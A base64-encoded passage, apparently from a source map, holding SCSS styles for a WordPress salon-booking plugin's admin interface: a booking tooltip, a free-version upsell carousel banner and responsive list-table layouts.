tcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICNkZWUyZTY7XG4gICAgICBjb2xvcjogIzE1NDg3MiAhaW1wb3J0YW50O1xuICAgIH1cbiAgfVxuICBcbiAgLy8gQXJyb3cgcG9pbnRpbmcgdXAgdG8gdGhlIGJhZGdlXG4gICY6OmJlZm9yZSB7XG4gICAgY29udGVudDogJyc7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLThweDtcbiAgICBsZWZ0OiA1MCU7XG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpO1xuICAgIHdpZHRoOiAwO1xuICAgIGhlaWdodDogMDtcbiAgICBib3JkZXItbGVmdDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1yaWdodDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1ib3R0b206IDhweCBzb2xpZCAjZDhlMGU2O1xuICB9XG4gIFxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJyc7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTdweDtcbiAgICBsZWZ0OiA1MCU7XG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpO1xuICAgIHdpZHRoOiAwO1xuICAgIGhlaWdodDogMDtcbiAgICBib3JkZXItbGVmdDogN3B4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1yaWdodDogN3B4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1ib3R0b206IDdweCBzb2xpZCAjRjBGMEYxO1xuICB9XG4gIFxuICAvLyBGUkVFIHZlcnNpb24gc3R5bGluZyAtIGRpc2FibGVkL211dGVkIGFwcGVhcmFuY2VcbiAgJi0tZnJlZSB7XG4gICAgLnNsbi10b2RheS10b29sdGlwX19jdXN0b21lcixcbiAgICAuc2xuLXRvZGF5LXRvb2x0aXBfX3RpbWUge1xuICAgICAgY29sb3I6ICM3RDg4OTA7XG4gICAgICBvcGFjaXR5OiAwLjY7XG4gICAgfVxuICAgIFxuICAgIC5zbG4tdG9kYXktdG9vbHRpcF9fYnV0dG9uIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgYm9yZGVyLWNvbG9yOiAjRDhFMEU2O1xuICAgICAgY29sb3I6ICM3RDg4OTAgIWltcG9ydGFudDtcbiAgICAgIGN1cnNvcjogbm90LWFsbG93ZWQ7XG4gICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgIFxuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBib3JkZXItY29sb3I6ICNEOEUwRTY7XG4gICAgICAgIGNvbG9yOiAjN0Q4ODkwICFpbXBvcnRhbnQ7XG4gICAgICB9XG4gICAgfVxuICAgIFxuICAgIC5zbG4taWNvbi0tY2xvY2sge1xuICAgICAgY29sb3I6ICM3RDg4OTA7XG4gICAgfVxuICB9XG4gIFxuICAgICAgLy8gQ1RBIGJhbm5lciBmb3IgRlJFRSB2ZXJzaW9uIChzaW1wbGUgY2xpY2thYmxlIGJhbm5lcilcbiAgICAgICZfX2N0YSB7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAgICAgcGFkZGluZzogMTJweCAxNnB4O1xuICAgICAgICBtYXJnaW46IDhweCAtMTZweCAtMTZweCAtMTZweDtcbiAgICAgICAgYmFja2dyb3VuZDogI0JERDdFQztcbiAgICAgICAgYm9yZGVyLXJhZGl1czogMCAwIDhweCA4cHg7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzIGVhc2U7XG4gICAgICAgIGN1cnNvcjogcG9pbnRlcjtcblxuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kOiAjYThjOWUwO1xuICAgICAgICB9XG4gICAgICB9XG4gIFxuICAmX19jdGEtdGV4dCB7XG4gICAgY29sb3I6ICMxYTRkNmI7XG4gICAgZm9udC1zaXplOiAxNHB4O1xuICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgXG4gICAgJi0tc3Ryb25nIHtcbiAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgICAgZm9udC1zaXplOiAxNnB4O1xuICAgICAgbWFyZ2luLXRvcDogMnB4O1xuICAgIH1cbiAgfVxuICBcbiAgLy8gQ3Jvd24gaWNvbiBpbWFnZVxuICAmX19jcm93bi1pY29uIHtcbiAgICB3aWR0aDogMzJweDtcbiAgICBoZWlnaHQ6IDMycHg7XG4gICAgZmxleC1zaHJpbms6IDA7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gIH1cbn1cblxuLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG4vLyBDYWxlbmRhciBDYXJvdXNlbCAoRnJlZSBWZXJzaW9uIEJhbm5lciBSZXBsYWNlbWVudClcbi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuLnNsbi1jYWxlbmRhci1jYXJvdXNlbCB7XG4gIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxNjdkZWcsICMyMTcxYjEgMCUsICMxYTVhOGYgMTAwJSk7XG4gIGJvcmRlci1yYWRpdXM6IDE0cHg7XG4gIGJveC1zaGFkb3c6IDAgNHB4IDE1cHggcmdiYSgzMywgMTEzLCAxNzcsIDAuMik7XG4gIHBhZGRpbmc6IDMycHg7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgbWFyZ2luLWJvdHRvbTogMjBweDtcblxuICAmX19jbG9zZSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogMjBweDtcbiAgICByaWdodDogMjBweDtcbiAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMSk7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuOSk7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgIHBhZGRpbmc6IDA7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgIHdpZHRoOiAzMnB4O1xuICAgIGhlaWdodDogMzJweDtcbiAgICBib3JkZXItcmFkaXVzOiA2cHg7XG4gICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZCAwLjJzO1xuICAgIHotaW5kZXg6IDEwO1xuXG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMik7XG4gICAgfVxuICB9XG5cbiAgJl9fdHJhY2sge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBtaW4taGVpZ2h0OiAyNDBweDtcbiAgfVxuXG4gICZfX3NsaWRlIHtcbiAgICBkaXNwbGF5OiBub25lO1xuICAgIG9wYWNpdHk6IDA7XG4gICAgdHJhbnNpdGlvbjogb3BhY2l0eSAwLjRzIGVhc2UtaW4tb3V0O1xuXG4gICAgJi0tYWN0aXZlIHtcbiAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICAvLyBUd28gY2hpbGRyZW46IF9fY29udGVudCB0aGVuIF9faWxsdXN0cmF0aW9uIChubyBfX2ljb24gY29sdW1uIGluIG1hcmt1cClcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogbWlubWF4KDAsIDFmcikgYXV0bztcbiAgICAgIGdhcDogMjRweDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBvcGFjaXR5OiAxO1xuICAgICAgYW5pbWF0aW9uOiBmYWRlSW4gMC40cyBlYXNlLWluLW91dDtcbiAgICB9XG4gIH1cblxuICAmX19pbGx1c3RyYXRpb24ge1xuICAgIGZsZXgtc2hyaW5rOiAwO1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblxuICAgIHN2ZyB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICB9XG4gIH1cblxuICAmX19pY29uIHtcbiAgICB3aWR0aDogNjRweDtcbiAgICBoZWlnaHQ6IDY0cHg7XG4gICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjE1KTtcbiAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMjUpO1xuICAgIGJvcmRlci1yYWRpdXM6IDEycHg7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgIGNvbG9yOiAjZmZmO1xuICAgIGZsZXgtc2hyaW5rOiAwO1xuICB9XG5cbiAgJl9fY29udGVudCB7XG4gICAgZmxleDogMTtcbiAgICBtaW4td2lkdGg6IDA7XG4gIH1cblxuICAmX19oZWFkbGluZSB7XG4gICAgbWFyZ2luOiAwIDAgMTZweCAwO1xuICAgIGZvbnQtc2l6ZTogMjBweDtcbiAgICBmb250LXdlaWdodDogNzAwO1xuICAgIGNvbG9yOiAjZmZmO1xuICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gIH1cblxuICAmX19iZW5lZml0cyB7XG4gICAgbGlzdC1zdHlsZTogbm9uZTtcbiAgICBtYXJnaW46IDAgMCAxNnB4IDA7XG4gICAgcGFkZGluZzogMDtcblxuICAgIGxpIHtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIHBhZGRpbmctbGVmdDogMjhweDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICBmb250LXNpemU6IDE0cHg7XG4gICAgICBjb2xvcjogI2U3ZWRmMjtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjU7XG5cbiAgICAgICY6bGFzdC1jaGlsZCB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICB9XG5cbiAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgIGNvbnRlbnQ6ICfinJMnO1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIGxlZnQ6IDA7XG4gICAgICAgIHRvcDogMDtcbiAgICAgICAgd2lkdGg6IDIwcHg7XG4gICAgICAgIGhlaWdodDogMjBweDtcbiAgICAgICAgYmFja2dyb3VuZDogcmdiYSgxNiwgMTg1LCAxMjksIDAuMik7XG4gICAgICAgIGNvbG9yOiAjMTBiOTgxO1xuICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgJl9fcHJvb2Yge1xuICAgIG1hcmdpbjogMDtcbiAgICBmb250LXNpemU6IDEycHg7XG4gICAgY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC43NSk7XG4gICAgZm9udC1zdHlsZTogaXRhbGljO1xuICB9XG5cbiAgJl9fY3RhIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogOHB4O1xuICAgIGJhY2tncm91bmQ6ICNmZmY7XG4gICAgY29sb3I6ICMyMTcxYjE7XG4gICAgZm9udC1zaXplOiAxNHB4O1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7XG4gICAgcGFkZGluZzogMTJweCAyNHB4O1xuICAgIHRyYW5zaXRpb246IGFsbCAwLjJzO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgYWxpZ24tc2VsZjogc3RhcnQ7XG4gICAgbWFyZ2luLXRvcDogOHB4O1xuXG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiAjZjFmNGY3O1xuICAgICAgY29sb3I6ICMxYTVhOGY7XG4gICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7XG4gICAgICBib3gtc2hhZG93OiAwIDRweCAxMnB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7XG4gICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgfVxuXG4gICAgc3ZnIHtcbiAgICAgIHdpZHRoOiAxNnB4O1xuICAgICAgaGVpZ2h0OiAxNnB4O1xuICAgIH1cbiAgfVxuXG4gICZfX2RvdHMge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZ2FwOiA4cHg7XG4gICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgbWFyZ2luLXRvcDogMjRweDtcbiAgfVxuXG4gICZfX2RvdCB7XG4gICAgd2lkdGg6IDhweDtcbiAgICBoZWlnaHQ6IDhweDtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBwYWRkaW5nOiAwO1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMC4zcztcblxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjYpO1xuICAgIH1cblxuICAgICYtLWFjdGl2ZSB7XG4gICAgICB3aWR0aDogMjRweDtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICAgIGJhY2tncm91bmQ6ICNmZmY7XG4gICAgfVxuICB9XG5cbiAgLy8gUmVzcG9uc2l2ZTogVGFibGV0XG4gIEBtZWRpYSAobWF4LXdpZHRoOiAxMDI0cHgpIHtcbiAgICAmX19zbGlkZS0tYWN0aXZlIHtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogbWlubWF4KDAsIDFmcikgYXV0bztcbiAgICAgIGdhcDogMjBweDtcbiAgICB9XG5cbiAgICAmX19pY29uIHtcbiAgICAgIHdpZHRoOiA1NnB4O1xuICAgICAgaGVpZ2h0OiA1NnB4O1xuICAgIH1cblxuICAgICZfX2N0YSB7XG4gICAgICBtYXJnaW4tdG9wOiAxNnB4O1xuICAgIH1cbiAgfVxuXG4gIC8vIFNsaWRlIDY6IFwiRGlzY292ZXIgQWxsIEFkZC1vbnNcIiDigJQgbGFyZ2UgbnVtYmVyICsgbGFiZWwgaWxsdXN0cmF0aW9uXG4gICZfX2lsbHVzdHJhdGlvbi0tbnVtYmVyIHtcbiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgIGdhcDogMTBweDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIH1cblxuICAmX19udW1iZXIge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogNnB4O1xuICB9XG5cbiAgJl9fbnVtYmVyLXRleHQge1xuICAgIGZvbnQtc2l6ZTogMy41cmVtO1xuICAgIGZvbnQtd2VpZ2h0OiA4MDA7XG4gICAgY29sb3I6ICNmZGNiNTA7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgbGV0dGVyLXNwYWNpbmc6IC0xcHg7XG4gIH1cblxuICAmX19udW1iZXItbGFiZWwge1xuICAgIG1hcmdpbjogMDtcbiAgICBmb250LXNpemU6IDEzcHg7XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICBjb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjg1KTtcbiAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICAgIGxldHRlci1zcGFjaW5nOiAwLjVweDtcbiAgfVxuXG4gIC8vIFJlc3BvbnNpdmU6IE1vYmlsZVxuICBAbWVkaWEgKG1heC13aWR0aDogNjQwcHgpIHtcbiAgICBwYWRkaW5nOiAyNHB4IDIwcHg7XG4gICAgXG4gICAgJl9fY2xvc2Uge1xuICAgICAgdG9wOiAxNnB4O1xuICAgICAgcmlnaHQ6IDE2cHg7XG4gICAgICB3aWR0aDogMjhweDtcbiAgICAgIGhlaWdodDogMjhweDtcbiAgICB9XG4gICAgXG4gICAgJl9fc2xpZGUtLWFjdGl2ZSB7XG4gICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcbiAgICAgIGdhcDogMTZweDtcbiAgICB9XG4gICAgXG4gICAgJl9faWNvbiB7XG4gICAgICB3aWR0aDogNDhweDtcbiAgICAgIGhlaWdodDogNDhweDtcbiAgICAgIG1hcmdpbjogMCBhdXRvO1xuICAgIH1cbiAgICBcbiAgICAmX19jb250ZW50IHtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICB9XG4gICAgXG4gICAgJl9faGVhZGxpbmUge1xuICAgICAgZm9udC1zaXplOiAxOHB4O1xuICAgICAgbWFyZ2luLWJvdHRvbTogMTJweDtcbiAgICB9XG4gICAgXG4gICAgJl9fYmVuZWZpdHMge1xuICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgIG1heC13aWR0aDogNDAwcHg7XG4gICAgICBtYXJnaW4tbGVmdDogYXV0bztcbiAgICAgIG1hcmdpbi1yaWdodDogYXV0bztcblxuICAgICAgbGkge1xuICAgICAgICBmb250LXNpemU6IDEzcHg7XG4gICAgICB9XG4gICAgfVxuICAgIFxuICAgICZfX2N0YSB7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgbWFyZ2luLXRvcDogMTZweDtcbiAgICB9XG4gICAgXG4gICAgJl9fZG90cyB7XG4gICAgICBtYXJnaW4tdG9wOiAyMHB4O1xuICAgIH1cblxuICAgICZfX251bWJlci10ZXh0IHtcbiAgICAgIGZvbnQtc2l6ZTogMi43NXJlbTtcbiAgICB9XG4gIH1cbn1cblxuLy8gQW5pbWF0aW9uIGZvciBzbGlkZSB0cmFuc2l0aW9uc1xuQGtleWZyYW1lcyBmYWRlSW4ge1xuICBmcm9tIHtcbiAgICBvcGFjaXR5OiAwO1xuICB9XG4gIHRvIHtcbiAgICBvcGFjaXR5OiAxO1xuICB9XG59XG5cbi8vIFBhdXNlIGFuaW1hdGlvbiBvbiBob3ZlclxuLnNsbi1jYWxlbmRhci1jYXJvdXNlbDpob3ZlciAuc2xuLWNhbGVuZGFyLWNhcm91c2VsX19zbGlkZS0tYWN0aXZlIHtcbiAgYW5pbWF0aW9uLXBsYXktc3RhdGU6IHBhdXNlZDtcbn1cbiIsIi53cC1saXN0LXRhYmxlLndpZGVmYXQge1xuICAgIC8vdGhlYWQge1xuICAgIC8vICAgIHRyIHtcbiAgICAvLyAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjM2M0Yzc7XG4gICAgLy8gICAgfVxuICAgIC8vICAgIHRkLFxuICAgIC8vICAgIHRoIHtcbiAgICAvLyAgICAgICAgYm9yZGVyLWJvdHRvbTogbm9uZTtcbiAgICAvLyAgICB9XG4gICAgLy99XG59XG5cbi8vQG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNTUwcHgpIGFuZCAobWF4LXdpZHRoOiA3ODJweCkge1xuQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzgycHgpIHtcbiAgICAucG9zdC10eXBlLXNsbl9zZXJ2aWNlXG4gICAgICAgIC53cC1saXN0LXRhYmxlXG4gICAgICAgIHRyOm5vdCguaW5saW5lLWVkaXQtcm93KTpub3QoLm5vLWl0ZW1zKTpub3QoLmlzLWV4cGFuZGVkKSB7XG4gICAgICAgIC5jb2x1bW4tSUQsXG4gICAgICAgIC5zb3J0aW5nLWluZGljYXRvciB7XG4gICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICB9XG4gICAgfVxuICAgIC53cC1saXN0LXRhYmxlIHRyOm5vdCguaW5saW5lLWVkaXQtcm93KTpub3QoLm5vLWl0ZW1zKTpub3QoLmlzLWV4cGFuZGVkKSB7XG4gICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgLmNvbHVtbi1wcmltYXJ5LFxuICAgICAgICAuY29sdW1uLWJvb2tpbmdfZGF0ZSxcbiAgICAgICAgLmNvbHVtbi1ib29raW5nX3N0YXR1cyxcbiAgICAgICAgLmNvbHVtbi1teWF1dGhvcixcbiAgICAgICAgLmNvbHVtbi1maXJzdF9uYW1lLFxuICAgICAgICAuY29sdW1uLWxhc3RfbmFtZSxcbiAgICAgICAgLmNvbHVtbi11c2VyX2VtYWlsLFxuICAgICAgICAjdGl0bGUsXG4gICAgICAgIC5jb2x1bW4tc2VydmljZV9kdXJhdGlvbixcbiAgICAgICAgLmNvbHVtbi1zZXJ2aWNlX3ByaWNlLFxuICAgICAgICAuY29sdW1uLXNsbl9kYXlzX29mZiB7XG4gICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sgIWltcG9ydGFudDtcbiAgICAgICAgICAgIC8vZGlzcGxheTogdGFibGUtY2VsbCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgd2lkdGg6IDI1JSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgcGFkZGluZzogMWVtICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICAgICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHRoLmNvbHVtbi1wcmltYXJ5LFxuICAgICAgICB0ZC5jb2x1bW4tcHJpbWFyeSB7XG4gICAgICAgICAgICBwb3NpdGlvbjogdW5zZXQ7XG4gICAgICAgICAgICAucm93LWFjdGlvbnMge1xuICAgICAgICAgICAgICAgIC5jbG9uZSxcbiAgICAgICAgICAgICAgICAuaW5saW5lLmhpZGUtaWYtbm8tanMsXG4gICAgICAgICAgICAgICAgLnZpZXcge1xuICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICB0aC5zb3J0YWJsZSBhLFxuICAgICAgICB0aC5zb3J0ZWQgYSB7XG4gICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgLnNvcnRpbmctaW5kaWNhdG9yIHtcbiAgICAgICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMC43NWVtO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxuICAgIC5jb2x1bW4tc3F1YXJlX3BvcyB7XG4gICAgICAgIC5idXR0b24ge1xuICAgICAgICAgICAgd2lkdGg6IGF1dG8gIWltcG9ydGFudDtcbiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNWVtO1xuICAgICAgICAgICAgcGFkZGluZzogMCAxLjVlbTtcbiAgICAgICAgfVxuICAgIH1cbiAgICAud3AtbGlzdC10YWJsZSB0ci5pcy1leHBhbmRlZCB7XG4gICAgICAgIHRkOmxhc3QtY2hpbGQge1xuICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTtcbiAgICAgICAgfVxuICAgIH1cbiAgICAud3AtbGlzdC10YWJsZSB0cjpub3QoLmlubGluZS1lZGl0LXJvdyk6bm90KC5uby1pdGVtcykge1xuICAgICAgICAuY29sdW1uLXRvdGFsX2Ftb3VudCB7XG4gICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxZW07XG4gICAgICAgIH1cbiAgICB9XG4gICAgLnNhbG9uX3BhZ2Vfc2Fsb24tY3VzdG9tZXJzIC50YWJsZW5hdi50b3AgLmFjdGlvbnM6bm90KC5idWxrYWN0aW9ucykge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgfVxuICAgIC5zYWxvbl9wYWdlX3NhbG9uLWN1c3RvbWVyc1xuICAgICAgICAudGFibGVuYXYudG9wXG4gICAgICAgIC5hY3Rpb25zOm5vdCguYnVsa2FjdGlvbnMpXG4gICAgICAgIC5zZWFyY2gtYm94IHtcbiAgICAgICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgfVxuICAgIHAuc2VhcmNoLWJveCB7XG4gICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgYm90dG9tOiB1bnNldDtcbiAgICAgICAgd2lkdGg6IDYwJTtcbiAgICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgICBtYXJnaW46IDIwcHggYXV0bztcbiAgICAgICAgLy9kaXNwbGF5OiBncmlkO1xuICAgICAgICAvL2dyaWQtdGVtcGxhdGUtY29sdW1uczogNzAlIDMwJTtcbiAgICAgICAgLy9ncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgICNwb3N0LXNlYXJjaC1pbnB1dCB7XG4gICAgICAgICAgICAvL2dyaWQtY29sdW1uOiAxO1xuICAgICAgICAgICAgLy9ncmlkLXJvdzogMTtcbiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMWVtO1xuICAgICAgICB9XG4gICAgICAgICNzZWFyY2gtc3VibWl0IHtcbiAgICAgICAgICAgIC8vZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgICAgICAvL2dyaWQtcm93OiAxO1xuICAgICAgICB9XG4gICAgfVxuICAgIC5wb3N0LXR5cGUtc2xuX3NlcnZpY2VcbiAgICAgICAgLndwLWxpc3QtdGFibGVcbiAgICAgICAgLmlzLWV4cGFuZGVkXG4gICAgICAgIHRkLmNvbHVtbi1JRDpub3QoLmhpZGRlbikge1xuICAgICAgICBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG4gICAgfVxufVxuQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNTUwcHgpIHtcbiAgICAud3AtbGlzdC10YWJsZSxcbiAgICAud2lkZWZhdC53cC1saXN0LXRhYmxlIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIHRoZWFkLFxuICAgICAgICB0Zm9vdCB7XG4gICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgIH1cbiAgICAgICAgdGJvZHkge1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgICAgICAgfVxuICAgICAgICB0aGVhZCB7XG4gICAgICAgICAgICB0cjpub3QoLmlubGluZS1lZGl0LXJvdyk6bm90KC5uby1pdGVtcyk6bm90KC5pcy1leHBhbmRlZCkge1xuICAgICAgICAgICAgICAgIC5jb2x1bW4tcHJpbWFyeSxcbiAgICAgICAgICAgICAgICAuY29sdW1uLWJvb2tpbmdfZGF0ZSxcbiAgICAgICAgICAgICAgICAuY29sdW1uLWJvb2tpbmdfc3RhdHVzLFxuICAgICAgICAgICAgICAgIC5jb2x1bW4tbXlhdXRob3Ige1xuICAgICAgICAgICAgICAgICAgICB3aWR0aDogMjIlICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgLmNoZWNrLWNvbHVtbiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZy10b3A6IDE0cHg7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxuICAgIC53cC1saXN0LXRhYmxlIHRyOm5vdCguaW5saW5lLWVkaXQtcm93KTpub3QoLm5vLWl0ZW1zKTpub3QoLmlzLWV4cGFuZGVkKSB7XG4gICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgdGguY29sdW1uLXByaW1hcnksXG4gICAgICAgIHRoLmNvbHVtbi1ib29raW5nX2RhdGUsXG4gICAgICAgIHRoLmNvbHVtbi1ib29raW5nX3N0YXR1cyxcbiAgICAgICAgdGguY29sdW1uLW15YXV0aG9yLFxuICAgICAgICB0aC5jb2x1bW4tZmlyc